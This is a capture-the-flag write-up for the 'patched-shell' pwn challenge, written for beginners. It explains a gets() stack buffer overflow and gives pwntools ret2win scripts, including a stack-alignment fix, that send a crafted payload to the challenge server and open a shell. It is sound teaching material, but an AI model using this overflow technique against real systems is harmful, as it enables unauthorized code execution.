patched-shell

by Nightxade / Nightxade

Tags: buffer-overflow pwn ret2win

Rating:

Okay, okay. So you were smart enough to do basic overflow huh...

Now try this challenge! I patched the shell function so it calls system instead of execve... so now your exploit shouldn't work! bwahahahahaha

Note: due to the copycat nature of this challenge, it suffers from the same bug that was in basic-overflow. see the cryptic message there for more information.

Author: drec
`nc 34.134.173.142 5000`
patched-shell

Disclaimer

Most of this challenge was pretty much identical to basic-overflow. Skip towards the end if you already solved basic-overflow or read a writeup for it.

Since this challenge is so simple, this writeup is intended primarily for complete beginners to pwn!

We're given an ELF binary file. It is essentially a Linux executable, similar to .exe for Windows. We can decompile this with Ghidra, a powerful reverse-engineering tool. Download it if you don't have it!

In Ghidra, on the left sidebar, we can open the Functions folder to see what sort of functions this program contains. Most of it is irrelevant, as some functions used for program functionality are also listed. However, there are two unusual functions that seem to be user-created. `main` and `shell`.

Clicking on each allows us to see their decompilation. Here's `main`:

```
undefined8 main(void)

{
  char local_48 [64];

  gets(local_48);
  return 0;
}
```

Let's first examine main. The main function simply allocates 64 bytes for a character array, i.e. a string. It then calls gets() to receive user input for the variable. For people experienced with pwn, this is immediately a major red flag. gets() is vulnerable to buffer overflow. That is, it can receive more input than it should. So, even though only 64 bytes are allocated for the character array, the program could read in more than 64 bytes into the variable!

Since the variable is located on the stack, which is essentially an area of the program's memory where variables and things like that are stored, it will *overflow* onto the stack, overwriting the memory of the program. Crucially, the return address is stored on the stack.

The return address is essentially the location in the program that main() will return to after finishing and hitting the `return` statement. This is important, because if we can overwrite this return address, we can control what function main() executes next!

Now let's take a look at shell.

```
void shell(void)

{
  system("/bin/sh");
  return;
}
```

So this seems to be what's changed. But... doesn't this still pop a shell? Hm. Let's try thes same solution as in basic-overflow, i.e. overriding the return address with the address of the shell function.

```
from pwn import *
import pwnlib.util.packing as pack

elf = ELF("./patched-shell")
context.binary = elf
context.log_level = "DEBUG"
context(terminal=["tmux","split-window", "-h"])

# p = process('./patched-shell')
# gdb.attach(p)

p = remote('34.134.173.142', 5000)


# p.sendline(
#     cyclic(1024)
# )

offset = cyclic_find('saaa')
shell = pack.p64(elf.symbols['shell'])
payload = offset*b'A' + shell
p.sendline(payload)

p.interactive()
```

Ignore the top half -- it's all just setup.

In the bottom half, there is first a commented out line of a 'cyclic(1024)'. All this does is send a string to the program that enables us to find the offset of the return address. We know what the return address becomes (after it is opened in gdb with `gdb.attach(p)`) by entering 'continue' and looking at the RSP register, i.e. the stack pointer, which shows that it is the string `saaa` in the cyclic.

Thus, our offset can be found using pwntool's `cyclic_find()` function. The address of the shell function can be found in the ELF's symbols, and our payload can be contructed as `offset*b'A' + shell`. Note that the address of the shell function must be 'packed' into little endian and x64 format. I would recommend Googling those two if you are unaware of what they are.

However, this doesn't actually work. I wasn't sure why it wasn't working, and spent 30 minutes just trying to look for a solution online. Turns out I'm stupid! The stack offset just becomes unaligned if we return to the first instruction of shell(), i.e. `push rbp`, so it will work just fine if we add 1 to the address of shell, thus returning to the next instruction instead and avoiding the push instruction.

```
from pwn import *
import pwnlib.util.packing as pack

elf = ELF("./patched-shell")
context.binary = elf
context.log_level = "DEBUG"
context(terminal=["tmux","split-window", "-h"])

# p = process('./patched-shell')
# gdb.attach(p)

p = remote('34.134.173.142', 5000)


# p.sendline(
#     cyclic(1024)
# )

offset = cyclic_find('saaa')
shell = pack.p64(elf.symbols['shell'] + 1) # only change
payload = offset*b'A' + shell
p.sendline(payload)

p.interactive()
```

Once we have our payload, we can send it to the remote service, pop a shell, and `ls` --> `cat flag` gives us our flag!

```
uoftctf{patched_the_wrong_function}
```

Original writeup (https://nightxade.github.io/ctf-writeups/writeups/2024/UofT-CTF-2024/pwn/patched-shell.html).

Comments